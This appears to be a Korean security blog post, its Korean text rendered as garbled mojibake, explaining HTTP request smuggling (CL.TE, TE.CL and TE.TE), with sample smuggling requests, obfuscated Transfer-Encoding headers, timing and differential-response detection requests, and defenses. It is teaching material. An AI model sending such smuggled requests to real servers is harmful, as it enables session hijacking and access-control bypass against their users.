01. HTTP Request Smuggling ์ทจ์ฝ์ ?
HTTP Request Smuggling(HRS) ์ทจ์ฝ์ ์ 2005๋ ๋ฐ๊ฒฌ๋์๋ค. Front-end ์๋ฒ์ Back-end ์๋ฒ ๊ฐ์ ๋ถ์ผ์น๋ฅผ ์ด์ฉํด ์ถ๊ฐ์ ์ธ Request๋ฅผ ์ฝ์ ํ ์ ์๋ค.
- Front-end : Content-Length ํค๋๋ฅผ ์ฐ์ ์
- Back-end : Transfer-Encoding ํค๋๋ฅผ ์ฐ์ ์
์์๊ฐ์ ์์ ํ๊ฒฝ์์ ์ผ๊ธฐ๋ ์ ์๋ ๋ณด์๋ฌธ์ ๋ ๊ถํ ์์น(Privilege Escalation), ์ธ์ ํ์ด์ฌํน(Session Hijacking), ๋ฏผ๊ฐํ ์ ๋ณด ๋ ธ์ถ(Critical Info Leak) ๋ฑ์ด ์๋ค.
02. HRS์ ๋ฐฐ๊ฒฝ, HTTP Request ํค๋
HTTP/1 ์์ฒญ์ ๋์ ํ๋จํ๋ ๋ฐฉ์์๋ Content-Length ํค๋์ Transfer-Encoding ํค๋๋ฅผ ์ด์ฉํ ๋ ๊ฐ์ง ๋ฐฉ์์ด ์กด์ฌํ๋ค. ๊ทธ๋ฆฌ๊ณ ๋๋ถ๋ถ์ HRS ์ทจ์ฝ์ ๋ฐ์์ ์์ธ์ ์ฌ๊ธฐ์ ๋น๋กฏ๋๋ค.
1) Content-Length
Content-Length ํค๋๋ HTTP Request์ Body ๊ธธ์ด๋ฅผ ๋ฐ์ดํธ ๋จ์๋ก ๋ช ์ํ๋ค. ์ด๋ฅผ ํตํด ์์ฒญ์ ๋์ ๋ช ํํ๊ฒ ์ ์ํ ์ ์๋ค.
POST /search HTTP/1.1
HOST: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
x=smuggling
2) Transfer-Encoding
Transfer-Encoding ํค๋๋ ์์ฒญ ๋ณธ๋ฌธ์ด ํ๋ ์ด์์ ์ฒญํฌ ์ธ์ฝ๋ฉ๋ ๋ฉ์ธ์ง๋ฅผ ํฌํจํ ๋ ์ฌ์ฉ๋๋ค. ๊ฐ ์ฒญํฌ๋ ์ฒญํฌ ๋ฉ์์ง์ ๊ธธ์ด(16์ง์ ํ์), ๋ฉ์์ง ๋ณธ๋ฌธ์ ํฌํจํ๊ณ 0์ ๋์ผ๋ก ์ข ๋ฃ๋จ์ ์๋ฆฐ๋ค.
POST /search HTTP/1.1
HOST: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
x=smuggling
0
์ ํค๋๋ค์ ๋์์ ์ฌ์ฉํ ๊ฒฝ์ฐ ๋ฌธ์ ๊ฐ ๋ฐ์ํ ์ ์๋ค. ๋ฌผ๋ก ์ด๋ฅผ ๋ง๊ธฐ ์ํด ํ๋์ ์๋ฒ์ธ ์ํ์ ๊ฒฝ์ฐ Content-Length ํค๋๊ฐ ๋ฌด์๋๋ ์์ ๋ณดํธ์ฑ ์ด ๋ฐ๋๋๋ค. ํ์ง๋ง ๋๊ฐ ์ด์์ ์ฐ๊ฒฐ๋ ์๋ฒ๋ฅผ ์ด์ฉํ ๊ฒฝ์ฐ ํนํ Transfer-Encoding ํค๋๋ฅผ ์ง์ํ๋ ์๋ฒ์ ์ง์ํ์ง ์๋ ์๋ฒ๊ฐ ์ฐ๊ฒฐ๋์ด ์๋ ๊ฒฝ์ฐ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๊ฒ ๋๋ค.
HTTP/2 end-to-end ์ ์ฌ์ฉํ๋ ์น ์ฌ์ดํธ๋ค์ HRS ๊ณต๊ฒฉ์ ๋ฉด์ญ์ด ์๋ค. ๊ณต๊ฒฉ์๊ฐ ๋ถํ์คํ ์ ๋ณด์ ๊ธธ์ด๋ฅผ ๋ณด๋ด๋ HTTP/2์ ๊ฐ๋ ฅํ ๋จ์ผ ๋ฉ์ปค๋์ฆ์ด ์ด๋ฅผ ์ ํํ๊ฒ ์ฒ๋ฆฌํ๊ธฐ ๋๋ฌธ์ด๋ค. ํ์ง๋ง ์๋ง์ ์น์ฌ์ดํธ๋ค์ HTTP/2 front-end ์๋ฒ๋ฅผ ๋๋ ๋์์ HTTP/1๋ง์ ์ง์ํ๋ back-end ์๋ฒ๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ๋ง๋ค์ด์ง๋ค. ์ด๋ HTTP downgrading์ ์ด์ฉํด ํด๊ฒฐ ๊ฐ๋ฅํ๋ค.
03. HRS ์ทจ์ฝ ์ ํ
๊ธฐ๋ณธ์ ์ธ HRS ๊ณต๊ฒฉ์ Content-Lengthํค๋์ Transfer-Encodingํค๋๋ฅผ ๋ชจ๋ ํฌํจ์ํจ๋ค. ์ํํ ์ค๋ช ์ ์ํด ์ง๊ธ๋ถํฐ Content-Length์ Transfer-Encoding์ ๊ฐ๊ฐ CL๊ณผ TE๋ผ๊ณ ์ง์นญํ๊ฒ ๋ค. front-end ์๋ฒ์ back-end ์๋ฒ์ ํน์ง์ ๋ฐ๋ผ ๋ค์ํ ์ทจ์ฝ ์ ํ์ด ์กด์ฌํ๋ค.
- CL.TE : front-end ์๋ฒ๊ฐ CL ํค๋๋ฅผ ์ด์ฉํ๊ณ , back-end ์๋ฒ๊ฐ TE ํค๋๋ฅผ ์ด์ฉํ ๋
- TE.CL : front-end ์๋ฒ๊ฐ TE ํค๋๋ฅผ ์ด์ฉํ๊ณ , back-end ์๋ฒ๊ฐ CL ํค๋๋ฅผ ์ด์ฉํ ๋
- TE.TE : ๋ ์๋ฒ ๋ชจ๋ TE ํค๋๋ฅผ ์ง์ํ์ง๋ง, ํค๋๋ฅผ ํน์ ํ ๋ฐฉ์์ผ๋ก ์กฐ์ํ์ฌ ํ ์๋ฒ๊ฐ ์ ์์ ์ผ๋ก ์ฒ๋ฆฌํ์ง ๋ชปํ๊ฒ ํ ์ ์์ ๋
CL.TE
POST / HTTP/1.1
Host: kortsec1.com
Conent-Length: 10
Transfer-Encoding: chunked
0
KANYE
front-end ์๋ฒ๋ CL์, back-end ์๋ฒ๋ TE๋ฅผ ์ฌ์ฉํ๋ ํ๊ฒฝ์์์ ๊ณต๊ฒฉ์ด๋ค. front-end ์์๋ CL์ ํตํด “KANYE”๊น์ง์ ์ ๋ณด๋ฅผ ๋ฐ์์จ๋ค. ํ์ง๋ง back-end์์๋ TE ํค๋๋ฅผ ํตํด 0 ์ ๋ง๋๋ฉฐ ์์ฒญ์ ๋์ด๋ผ ํ๋จํ๋ฉฐ “KANYE”๋ ๋จ๊ฒ ๋๋ค. ์ด๋ ๊ฒ ๋จ์ ๋ฐ์ดํฐ๋ ๊ทธ ๋ค์ ์์ฒญ์ด ์๋ ์๊ฐ์ ์ฝํ๊ฒ ๋๋ค.
TE.CL
POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 3
Transfer-Encoding: chunked
5
KANYE
0
front-end ์๋ฒ๋ TE๋ฅผ, back-end ์๋ฒ๋ CL์ ์ฌ์ฉํ๋ ํ๊ฒฝ์์์ ๊ณต๊ฒฉ์ด๋ค. front-end๋ TE์ ๋ฐ๋ผ ํด๋น ์์ฒญ์ ๋ฐ์ดํฐ๋ฅผ ๋ชจ๋ ๋ฐ์๋ค์ธ๋ค. 5๋ ๋ณธ๋ฌธ “KANYE”์ ๊ธธ์ด๋ฅผ, ๋ง์ง๋ง 0์ ์์ฒญ์ ์ข ๋ฃ๋ฅผ ๋ปํ๋ค. ๊ทธ๋ฆฌ๊ณ ๋ง์ง๋ง 0์ ๋ค์๋ “\r\n\r\n”์ด ์ด์ด์ ๋์์ผ ํ๋ค. ์ด๋ ๊ฒ ์ ๋ฌ๋ฐ์ ์์ฒญ์ back-end ์๋ฒ์์ ๋ณํ๊ฐ ์๊ธฐ๋๋ฐ, CL์ ์ฌ์ฉํ๋ back-end ํ๊ฒฝ์์๋ 3์ด๋ผ๋ ๊ฐ์ ํ ๋๋ก “5\r\n” ๋ง์ ๋ฐ์๋ค์ธ๋ค. “KANYE”๋ฑ์ ๋๋จธ์ง ๋ฐ์ดํฐ๋ back-end ์๋ฒ์ ๋จ๊ฒ ๋๊ณ , ์ด๋ ๋ค์๋ฒ ์์ฒญ์ ์์์ผ๋ก ๋ฐ์๋ค์ด๊ฒ ๋๋ค.
TE.TE
front-end ์๋ฒ์ back-end ์๋ฒ ๋ชจ๋ TE ํค๋๋ฅผ ์ง์ํ์ง๋ง, ํค๋๋ฅผ ์กฐ์ํ์ฌ ์ด ์ค ํ ์๋ฒ๊ฐ ์ด๋ฅผ ์ ์์ ์ผ๋ก ์ํํ์ง ๋ชปํ๊ฒ ํ๋ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ด๋ค. ์ด๋ ๋ค์ํ ํ๊ฒฝ์ด ๊ฐ์ง๊ณ ์๋ ํน์ฑ์ ์๊ณ ๊ตฌ๋ถํ์ฌ ์งํํ๊ธฐ์ ํ์์ ์ผ๋ก ํ๊ฒฝ์ ๋ํ ์ดํด๊ฐ ํ์ํ๋ค.
Transfer-Encoding: xchunked
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
A: A[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked
04. HRS ์ทจ์ฝ์ ํ์ง
Timing Techniques
HRS ์ทจ์ฝ์ ์ ํ์งํ๋ ๊ฐ์ฅ ํจ๊ณผ์ ์ธ ๋ฐฉ๋ฒ์ผ๋ก Timing ๊ธฐ๋ฒ์ ๋ค ์ ์๋ค. ์ทจ์ฝ ์ ํ๋ฆฌ์ผ์ด์ ์ ํน์ ์์ฒญ์ ๋ณด๋ด ์ง์ฐ์๊ฐ์ ๋ฐ์์ํค๋ ๋ฐฉ์์ด๋ค.
- CL.TE ์ทจ์ฝ์ ํ์ง
POST / HTTP/1.1
Host: kortsec1.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
CL.TE ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ ํ๊ฒฝ์์ ํ์งํ๋ ์ํฉ์ด๋ค. front-end ์๋ฒ๋ CL ํค๋๋ฅผ ํตํด “X”๋ฅผ ์ ์ธํ ์ ๋ณด๋ง์ ๋ฐ๊ณ , back-end ์๋ฒ๋ TE ํค๋๋ฅผ ํตํด ๋ค์ chunk๋ฅผ ๊ธฐ๋ค๋ฆฐ๋ค. ์ด ๋ ์ง์ฐ์๊ฐ์ด ๋ฐ์ํ๊ฒ ๋๋ ๊ฒ์ด๋ค.
- TE.CL ์ทจ์ฝ์ ํ์ง
POST / HTTP/1.1
Host: kortsec1.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
TE.CL ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ ํ๊ฒฝ์์์ ํ์ง ์ํฉ์ด๋ค. front-end๋ TE ํค๋๋ฅผ ํตํด 0๊น์ง์ ์ ๋ณด๋ง์ ๋๊ธด๋ค. ํํธ back-end ์์๋ CL ํค๋์ ๊ฐ์ ๋ฐ๋ผ 6๊ธธ์ด์ ๋ฐ์ดํฐ๋ฅผ ๊ธฐ๋ค๋ฆฌ๊ฒ ๋๋ค. ์ด๋ ๊ฒ ์ง์ฐ์๊ฐ์ด ๋ฐ์ํ๋ค. ์ ๋ฐฉ๋ฒ์ ๋ค๋ฅธ ์ฌ์ฉ์์๊ฒ ์ํฅ์ด ์์ ์ ์๋ค. ์นจํด๋ฅผ ์ต์ํ ํ๊ฑฐ๋ ์๋ฐํ ํ์งํ๊ธฐ ์ํด์ CL.TE๋ฅผ ์ฐ์ ์ ์ผ๋ก ์ํํ ํ์ ํ ์คํธํ๋ ๊ฒ์ด ์ข๋ค.
05. HRS ์ทจ์ฝ์ Confirming
Differential Responses
์ทจ์ฝ์ ์ ์กด์ฌ๋ฅผ ํ์ธํ์์ ๋ ์ด๋ฅผ ํ์ค์ ํ๊ณ , ์ถ๊ฐ์ ์ธ ์ ๋ณด๋ฅผ ์ป๊ธฐ ์ํด ๋ ๊ฐ์ง์ ์์ฒญ์ ๋ณด๋ด๋ ๋ฐฉ๋ฒ์ด๋ค. ์ฐ์ ๋ค์ ์์ฒญ์ ์ํฅ์ ์ฃผ๊ธฐ ์ํด ์ง์ฌ์ง ๊ณต๊ฒฉ์์ฒญ์ ๋ณด๋ธ๋ค. ๊ทธ ๋ค์ ์ ์์ ์ธ ์์ฒญ์ ๋ณด๋ด, ์์ํ ๋ฐ์์ ๋ณด์ด๋์ง ํ์ธํ๋ค.
POST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=kanyewest
์ ์์ฒญ์ ๋๋ฒ์งธ๋ก ๋ณด๋ผ ์ ์์ ์ธ ์์ฒญ์ด๋ค. ๊ฐ๋ณ์ ์ผ๋ก ๋ณด๋ธ๋ค๋ฉด ์ ์์ ์ธ ๋ฐ์์ ๋ณด์ด๊ฒ ์ง๋ง, ๊ณต๊ฒฉ์์ฒญ ์ดํ์ ๋ณด๋ธ๋ค๋ฉด ๋ค๋ฅธ ๋ฐ์์ด ๋ํ๋ ๊ฒ์ด๋ค. ๊ทธ๋ฆฌ๊ณ ์ด์ ๋๋ผ CL.TE ๋ TE.CL ์ด ๊ฒฐ์ ๋๋ค.
- CL.TE
POST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=kanyewest&x=
0
GET /404 HTTP/1.1
Foo: x
CL.TE ์ทจ์ฝ์ ์ด ์๋ ์ํฉ์ ํ์ง๋ฒ์ด๋ค. ์ ๊ณต๊ฒฉ ์์ฒญ์ด ์ฑ๊ณต์ ์ด๋ผ๋ฉด, ๋ง์ง๋ง ๋ ์ค์ back-end ์๋ฒ์์ ๋ค์ ์์ฒญ์ ์ผ๋ถ๋ก ์ทจ๊ธ๋ ๊ฒ์ด๋ค. ๊ทธ๋ฆฌํ์ฌ ๋ค์ ์ ์์ ์ธ ์์ฒญ์ ๋ณด๋ด๋ฉด ์๋์ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค.
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=kanyewest
- TE.CL
POST /search HTTP/1.1
Host: korsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
71
GET /404 HTTP/1.1
Host: kortsec1.com
Content-type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
TE.CL ์ทจ์ฝ์ ์ด ์๋ ์ํฉ์ด๋ค. ์ ๊ณต๊ฒฉ ์์ฒญ์ ๋ณด๋ด๊ณ ๋๋ฉด, front-end ์๋ฒ๋ ๋ชจ๋ ์ ๋ณด๋ฅผ ๋ณด๋ด๊ณ back-end ์๋ฒ๋ CL ํค๋์ ๋ฐ๋ผ “GET” ์ดํ์ ์ ๋ณด๋ ๋ค์ ์์ฒญ์ผ๋ก์จ ๋ฐ๊ฒ ๋๋ค. ๊ทธ๋ ๊ฒ ์ ์ ์์ฒญ์ ๋ณด๋ด๋ฉด ์๋์ ๊ฐ์ด ๋ณด๋ด๋ ๊ผด์ด ๋๋ ๊ฒ์ด๋ค.
GET /404 HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=kanyewest
06. ๋ณด์
์ด๋ฌํ HRS ์ทจ์ฝ์ ์ ์๋ฐฉํ๊ธฐ ์ํด์ ์ฌ๋ฌ๊ฐ์ง ๋ฐฉ๋ฒ์ด ์กด์ฌํ๋ค.
- HTTP/2 end to end ๋ฅผ ์ฌ์ฉํ๊ณ , HTTP downgrading์ ๋นํ์ฑํํ๋ ๋ฐฉ๋ฒ
HTTP/2๋ ์์ฒญ์ ๊ธธ์ด ํ๋จ์ ์์ด ๊ฐ๋ ฅํ ๋ฉ์ปค๋์ฆ์ ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์ end to end ์ฌ์ฉ์ ๋ณธ์ง์ ์ผ๋ก HRS ์๋ฐฉ์ด ๊ฐ๋ฅํ๋ค. ํ์ง๋ง ๋ถ๊ฐํผํ๊ฒ HTTP downgrading ์ ํผํ ์ ์๋ค๋ฉด, ์์ ๋ ์์ฒญ์ HTTP/1.1์์ ํ์คํ๊ฒ ๊ฒ์ฆํ ์ ์๊ฒ ํด์ผํ๋ค.
- ๋ถ๋ช ์น ์์ ์์ฒญ์ ๋ํ ์ฒ๋ฆฌ
front-end ์๋ฒ์์๋ ๋ถํ์คํ ์์ฒญ์ ๋ํด ์ ์ํ ์ํค๊ณ ๋ณด๋ด๊ฒ ํ๋ค. back-end ์๋ฒ์์๋ ์ฌ์ ํ ๋ถํ์คํ ์์ฒญ์ ๋ํด์๋ ๋ง๊ณ TCP ์ฐ๊ฒฐ์ ๋ซ์์ผ ํ๋ค.
- ์๋ฌ์ ๋ํ ํ์คํ ์ฒ๋ฆฌ
์๋ฒ ์ธก exception์ด ๋ฐ์ํ๋ค๋ฉด ์ฐ๊ฒฐ์ ๋ซ์์ผ ํ๊ณ , ์ด๋ ๊ธฐ๋ณธ์ ์ด์ง๋ง ๋ฐฉ์ฌํ๊ธฐ ์ฌ์ด ์ค์ํ ์ฌํญ์ด๋ค.
'web hacking ๐ฅ > techniques โ principles' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Advanced Request Smuggling (2) | 2024.12.15 |
---|---|
HTTP Request Smuggling Exploit (0) | 2024.12.10 |
Race Condition (0) | 2024.04.05 |
SSTI - RCE(Remote Code Execution) ์ฐ๊ณ ๊ณต๊ฒฉ (0) | 2023.10.13 |